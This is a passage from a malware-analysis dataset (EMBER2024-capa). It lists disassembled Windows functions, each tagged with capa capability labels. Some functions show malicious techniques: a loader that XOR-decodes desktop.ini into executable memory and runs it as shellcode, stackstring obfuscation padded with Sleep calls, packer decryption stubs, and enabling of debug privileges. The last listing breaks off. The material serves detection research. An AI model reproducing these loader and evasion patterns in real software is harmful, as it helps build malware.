joyce8/EMBER2024-capa huggingface dataset:
Function at 0x11af180
Capabilities:
Access peb ldr_data

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x11b7173
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov dword [ebp - 0x14], ecx
xor eax, eax
mov byte [ebp - 0xd], al
lea ecx, [ebp - 0xd]
push ecx
mov ecx, dword [ebp - 0x14]
call fcn.011b4a90
mov dword [ebp - 4], 0
xor edx, edx
mov byte [ebp - 0xe], dl
lea eax, [ebp - 0xe]
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0xc
call fcn.010c29f0
mov byte [ebp - 4], 1
xor ecx, ecx
mov byte [ebp - 0xf], cl
lea edx, [ebp - 0xf]
push edx
mov ecx, dword [ebp - 0x14]
add ecx, 0x1c
call fcn.010c29f0
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x2c], 0xffffffff
mov ecx, dword [ebp - 0x14]
mov dword [ecx + 0x30], 0
mov dword [ecx + 0x34], 0
mov edx, dword [ebp - 0x14]
mov word [edx + 0x38], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x43eb65ba
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x67795127
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4037c4
Capabilities:
Accept command line arguments
Set environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
mov eax, 0x41a4fc
push ebx
mov ebx, 0x415570
push esi
call fcn.0040ffe8
call sub.KERNEL32.DLL_GetCommandLineA
mov esi, eax
test esi, esi
je 0x4037fe
xor eax, eax
mov al, byte [esi]
cmp eax, 0x22
jne 0x4037fe
lea eax, [esi + 1]
mov edx, 0x22
call fcn.0040f6a8
mov esi, eax
test esi, esi
je 0x4038ae
mov edx, 0x414108
mov eax, esi
call fcn.004c0000
mov esi, eax
test eax, eax
je 0x403821
mov eax, ebx
mov edx, esi
call fcn.0040f718
mov byte [ebp - 1], 0
xor eax, eax
xor esi, esi
jmp 0x40389e
xor ecx, ecx
mov cl, dl
cmp ecx, 0x20
je 0x403838
mov byte [ebp - 1], 1
cmp ecx, 0x22
jne 0x40383e
inc esi
test esi, 1
jne 0x40389d
xor edx, edx
mov dl, byte [ebx + eax]
cmp edx, 0x2d
jne 0x40385f
test eax, eax
je 0x403869
xor edx, edx
mov dl, byte [ebx + eax - 1]
cmp edx, 0x20
je 0x403869
xor ecx, ecx
mov cl, byte [ebx + eax]
cmp ecx, 0x2f
jne 0x40389d
xor edx, edx
mov dl, byte [ebx + eax + 1]
cmp edx, 0x73
je 0x403879
cmp edx, 0x53
jne 0x40389d
mov dl, byte [ebx + eax + 2]
test dl, dl
je 0x40388a
xor ecx, ecx
mov cl, dl
cmp ecx, 0x20
jne 0x40389d
mov dword [0x414058], 1
mov byte [0x41405c], 1
jmp 0x4038a5
inc eax
mov dl, byte [ebx + eax]
test dl, dl
jne 0x40382b
cmp byte [ebp - 1], 0
jne 0x4038ae
mov byte [ebx], 0
push 0x400
push 0x415170
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x415170
push str.sfxname
call sub.KERNEL32.DLL_SetEnvironmentVariableA
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov ebx, eax
mov dword [0x41a4f4], eax
push 0x64
push ebx
call sub.USER32.DLL_LoadIconA
mov dword [0x415970], eax
push 0x65
push dword [0x41a4f4]
call sub.USER32.DLL_LoadBitmapA
mov dword [0x415974], eax
lea eax, [ebp - 0xc]
call fcn.00405564
mov edx, 0x415170
mov eax, 0x41a4e0
call fcn.00404ba4
lea eax, [ebp - 0x24]
call fcn.0040410c
lea eax, [ebp - 0x3c]
call fcn.0040410c
push 0
push 0x401183
lea edx, [ebp - 0x24]
push 0
mov dword [0x415d78], edx
lea ecx, [ebp - 0x3c]
push str.STARTDLG
push ebx
mov dword [0x415d7c], ecx
call sub.USER32.DLL_DialogBoxParamA
xor eax, eax
mov dword [0x4148bc], eax
xor edx, edx
mov dword [0x415d7c], edx
mov dword [0x415d78], edx
cmp dword [0x4148c4], 0
jne 0x403981
cmp dword [0x4148d0], 0
jne 0x403981
mov ecx, 4
mov edx, dword [0x414048]
xor eax, eax
call fcn.004018ac
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.00404130
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.00404130
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004055d8
cmp byte [0x414044], 0
je 0x4039b6
call fcn.004026f6
mov eax, 0x4150e0
mov ecx, 0x80
xor edx, edx
call fcn.0040f618
cmp dword [0x414054], 0
jle 0x4039da
mov eax, dword [0x414048]
call fcn.0040f59c
push dword [0x415970]
call sub.GDI32.DLL_DeleteObject
mov eax, dword [0x415974]
test eax, eax
je 0x4039f4
push eax
call sub.GDI32.DLL_DeleteObject
cmp dword [0x41a4d4], 0
jne 0x403a15
cmp dword [0x4148c4], 0
je 0x403a15
mov eax, 0x41a4d4
mov edx, 0xff
call fcn.0040c8a4
mov dword [0x4148c4], 2
push dword [0x41a4d4]
call sub.KERNEL32.DLL_ExitProcess
xor eax, eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4018e0
Capabilities:
Compiled with py2exe
Query environment variable

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebx
call fcn.00401220
add esp, 4
test eax, eax
jne 0x4018f9
mov eax, 0xff
pop ebx
ret
push ebx
call fcn.004013e0
add esp, 4
test eax, eax
je 0x4018f2
mov eax, dword [0x40668c]
cmp dword [eax + 8], 0
push esi
je 0x401944
mov esi, dword [sym.imp.MSVCR90.dll___iob_func]
push edi
push 0
call esi
mov edi, dword [sym.imp.MSVCR90.dll_setbuf]
push eax
call edi
add esp, 8
push 0
call esi
add eax, 0x20
push eax
call edi
add esp, 8
push 0
call esi
add eax, 0x40
push eax
call edi
add esp, 8
pop edi
mov esi, dword [sym.imp.MSVCR90.dll_getenv]
push 0x405238
call esi
add esp, 4
test eax, eax
je 0x401973
push str.PY2EXE_VERBOSE
call esi
push eax
call dword [sym.imp.MSVCR90.dll_atoi]
mov ecx, dword [0x40582c]
add esp, 8
mov dword [ecx], eax
jmp 0x40197f
mov edx, dword [0x40582c]
mov dword [edx], 0
mov eax, dword [0x405844]
mov dword [eax], 1
mov ecx, dword [0x405834]
mov dword [ecx], 1
mov edx, dword [0x40668c]
mov eax, dword [edx + 4]
mov ecx, dword [0x40583c]
push 0x406140
mov dword [ecx], eax
call dword [0x4056d4]
add esp, 4
call fcn.00401660
call dword [0x405744]
test eax, eax
jne 0x4019d5
call fcn.004016f0
test eax, eax
jne 0x401a3b
call dword [0x4056ac]
jmp 0x4019de
call fcn.004017d0
test eax, eax
jne 0x401a3b
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x401a0b
push 1
call dword [0x405824]
push eax
push 0x405258
call dword [0x4057c4]
add esp, 0xc
push ebx
call fcn.00401540
add esp, 4
pop esi
xor eax, eax
pop ebx
ret
push eax
call dword [0x4057d4]
mov esi, eax
add esp, 4
test esi, esi
je 0x401a30
push esi
push 0x405260
call dword [0x4057c4]
push esi
call fcn.00401c40
add esp, 0xc
push ebx
call fcn.00401540
add esp, 4
xor eax, eax
pop esi
pop ebx
ret

Function at 0x401cb0
Capabilities:
Print debug messages

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x10]
mov eax, edi
mov esi, 0x4056a8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401cc1
sub eax, edx
add eax, edi
cmp eax, edi
je 0x401cda
cmp byte [eax], 0x5c
je 0x401cdf
dec eax
cmp eax, edi
jne 0x401cd0
cmp byte [eax], 0x5c
jne 0x401ce0
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x401cfa
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x401d54
cmp dword [0x4056a8], 0
je 0x401d25
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea esp, [esp]
mov eax, dword [esi]
push eax
push ebx
call edi
mov dword [esi + 4], eax
test eax, eax
je 0x401d2e
add esi, 8
cmp dword [esi], 0
jne 0x401d10
pop edi
pop esi
mov eax, 1
pop ebx
ret
push 0x405874
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [esi]
push ecx
push 0x405884
call dword [sym.imp.MSVCR90.dll___iob_func]
add eax, 0x40
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
pop edi
pop esi
xor eax, eax
pop ebx
ret
Function at 0x401d60
Capabilities:
Print debug messages

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, 0x4056a8
test eax, eax
jne 0x401d7d
mov eax, dword [esp + 8]
push eax
call fcn.00401cb0
add esp, 4
pop esi
ret
mov ecx, dword [esp + 8]
push edi
push eax
push ecx
call fcn.00402520
mov edi, eax
add esp, 8
test edi, edi
je 0x401de9
cmp dword [0x4056a8], 0
je 0x401dbb
jmp 0x401da0
mov edx, dword [esi]
push edx
push edi
call fcn.00402230
add esp, 8
mov dword [esi + 4], eax
test eax, eax
je 0x401dc3
add esi, 8
cmp dword [esi], 0
jne 0x401da0
pop edi
mov eax, 1
pop esi
ret
push str.undef_symbol
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [esi]
push eax
push str.undefined_symbol__s____exit__1__n
call dword [sym.imp.MSVCR90.dll___iob_func]
add eax, 0x40
push eax
call dword [sym.imp.MSVCR90.dll_fprintf]
add esp, 0xc
pop edi
xor eax, eax
pop esi
ret

Function at 0x401f60
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [eax]
movzx ecx, word [eax + 0x14]
xor edx, edx
push esi
lea esi, [ecx + eax + 0x18]
mov dword [esp + 8], 0
cmp dx, word [eax + 6]
jae 0x402007
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
add esi, 0x10
mov eax, dword [esi]
test eax, eax
jne 0x401fc2
mov eax, dword [esp + 0x1c]
mov edi, dword [eax + 0x38]
test edi, edi
jle 0x401feb
mov ecx, dword [esi - 4]
push 4
push 0x1000
push edi
add ecx, ebx
push ecx
call ebp
push edi
push 0
push eax
mov dword [esi - 8], eax
call sub.MSVCR90.dll_memset
jmp 0x401fe8
mov edx, dword [esi - 4]
push 4
push 0x1000
push eax
add edx, ebx
push edx
call ebp
mov ecx, dword [esi + 4]
add ecx, dword [esp + 0x18]
mov edi, eax
mov eax, dword [esi]
push eax
push ecx
push edi
call sub.MSVCR90.dll_memcpy
mov dword [esi - 8], edi
add esp, 0xc
mov edx, dword [esp + 0x20]
mov ecx, dword [edx]
mov eax, dword [esp + 0x10]
movzx edx, word [ecx + 6]
inc eax
add esi, 0x28
cmp eax, edx
mov dword [esp + 0x10], eax
jl 0x401f93
pop edi
pop ebp
pop esi
pop ebx
pop ecx
ret
Function at 0x402010
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
mov ebx, dword [eax]
movzx ecx, word [ebx + 0x14]
push ebp
xor edx, edx
xor ebp, ebp
lea eax, [ecx + ebx + 0x18]
cmp dx, word [ebx + 6]
jae 0x4020c7
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x402067
mov eax, dword [edi - 0x14]
mov ecx, dword [edi - 0x1c]
push 0x4000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4020af
lea edx, [edx + ecx*2]
lea ecx, [esi + edx*2]
mov esi, dword [ecx*4 + 0x4058dc]
test eax, 0x4000000
je 0x402081
or esi, 0x200
mov edx, dword [edi - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x40209c
test al, 0x40
je 0x402093
mov ecx, dword [ebx + 0x20]
jmp 0x40209a
test al, al
jns 0x4020af
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x4020af
mov ecx, dword [edi - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
mov ebx, dword [edx]
movzx eax, word [ebx + 6]
inc ebp
add edi, 0x28
cmp ebp, eax
jl 0x402034
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x503f50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xaf000]
push edi
jmp 0x503f6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x503f71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x503f60
mov eax, 1
add ebx, ebx
jne 0x503f83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x503f94
jne 0x503fb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x503fb3
dec eax
add ebx, ebx
jne 0x503fa0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x503f78
add ebx, ebx
jne 0x503faf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x504005
xor ecx, ecx
sub eax, 3
jb 0x503fcb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50403a
sar eax, 1
mov ebp, eax
jmp 0x503fd6
add ebx, ebx
jne 0x503fd6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x503fa4
inc ecx
add ebx, ebx
jne 0x503fe4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x503fa4
add ebx, ebx
jne 0x503ff1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x503fe6
jne 0x504002
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x503fe6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x504024
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x504016
jmp 0x503f66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x504024
add edi, ecx
jmp 0x503f66
pop esi
mov edi, esi
mov ecx, 0x3ed9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x504042
cmp byte [edi], 0x11
jne 0x504042
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x504047
lea edi, [esi + 0xfc000]
mov eax, dword [edi]
or eax, eax
je 0x5040bf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12eec4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12f040]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x504074
mov ecx, edi
jns 0x5040a3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12f044]
or eax, eax
je 0x5040b9
mov dword [ebx], eax
add ebx, 4
jmp 0x504091
call dword [esi + 0x12f054]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5040f0
cmp al, 0xef
ja 0x5040e3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5040c5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x5040d2
mov ebp, dword [esi + 0x12f048]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x504124
sub esp, 0xffffff80
jmp 0x425f74
Function at 0x4120f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xb000]
push edi
or ebp, 0xffffffff
jmp 0x412112
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x412119
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x412108
mov eax, 1
add ebx, ebx
jne 0x41212b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x412120
jne 0x41213c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x412120
xor ecx, ecx
sub eax, 3
jb 0x412150
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4121c2
mov ebp, eax
add ebx, ebx
jne 0x41215b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x412168
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41218c
inc ecx
add ebx, ebx
jne 0x412178
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41216d
jne 0x412189
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41216d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4121ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41219d
jmp 0x41210e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4121ac
add edi, ecx
jmp 0x41210e
pop esi
mov edi, esi
mov ecx, 0x3e8
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4121ca
cmp byte [edi], 1
jne 0x4121ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4121cf
lea edi, [esi + 0x10000]
mov eax, dword [edi]
or eax, eax
je 0x412247
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1311c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x131e4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4121fc
mov ecx, edi
jns 0x41222b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x131e8]
or eax, eax
je 0x412241
mov dword [ebx], eax
add ebx, 4
jmp 0x412219
call dword [esi + 0x131ec]
popal
jmp 0x4097fa
Function at 0xd241b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00d24140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00d24140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00d24140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00d24140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xd24bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xd24c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xd3687c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xd24c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xd24c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x43b650
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop edi
sub edx, edx
sub edx, 0xbebd8f49
or ecx, ecx
call fcn.0043b698
add ecx, 1
mov ecx, 0x9047862
xor dword [esi], edi
mov edx, 0x569bf08f
inc esi
mov edx, 0x6082d9d1
add edx, 0x2f745832
cmp esi, eax
jne fcn.0043b650
sub edx, 0x2fc95ab5
and ecx, ecx
and ecx, edx
ret
Function at 0x401250
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x443cd0]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x38], 0x48
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x61
mov byte [ebp - 0x35], 0x70
mov byte [ebp - 0x34], 0x46
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x65
mov byte [ebp - 0x30], 0
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
mov byte [ebp - 0x2c], 0x4b
mov byte [ebp - 0x2b], 0x45
mov byte [ebp - 0x2a], 0x52
mov byte [ebp - 0x29], 0x4e
mov byte [ebp - 0x28], 0x45
mov byte [ebp - 0x27], 0x4c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x11], 0x50
mov byte [ebp - 0x10], 0x72
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x63
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x73
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x48
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x61
mov byte [ebp - 7], 0x70
mov byte [ebp - 6], 0
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [ebp - 0x1c]
push eax
call dword [ebp - 0x18]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00420e17
mov esp, ebp
pop ebp
ret
Function at 0x401c50
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
movzx ecx, word [edx + 0x14]
lea edx, [eax + ecx + 0x18]
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], 0
jmp 0x401c8f
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x28
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
movzx ecx, word [eax + 6]
cmp dword [ebp - 4], ecx
jge 0x401db2
mov edx, dword [ebp - 0x14]
cmp dword [edx + 0x10], 0
jne 0x401cf4
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x38]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0
jle 0x401cf2
push 4
push 0x1000
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.004212e0
add esp, 0xc
jmp 0x401c7d
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push 0x1000
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
add eax, dword [edx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00420f70
add esp, 0xc
push 0
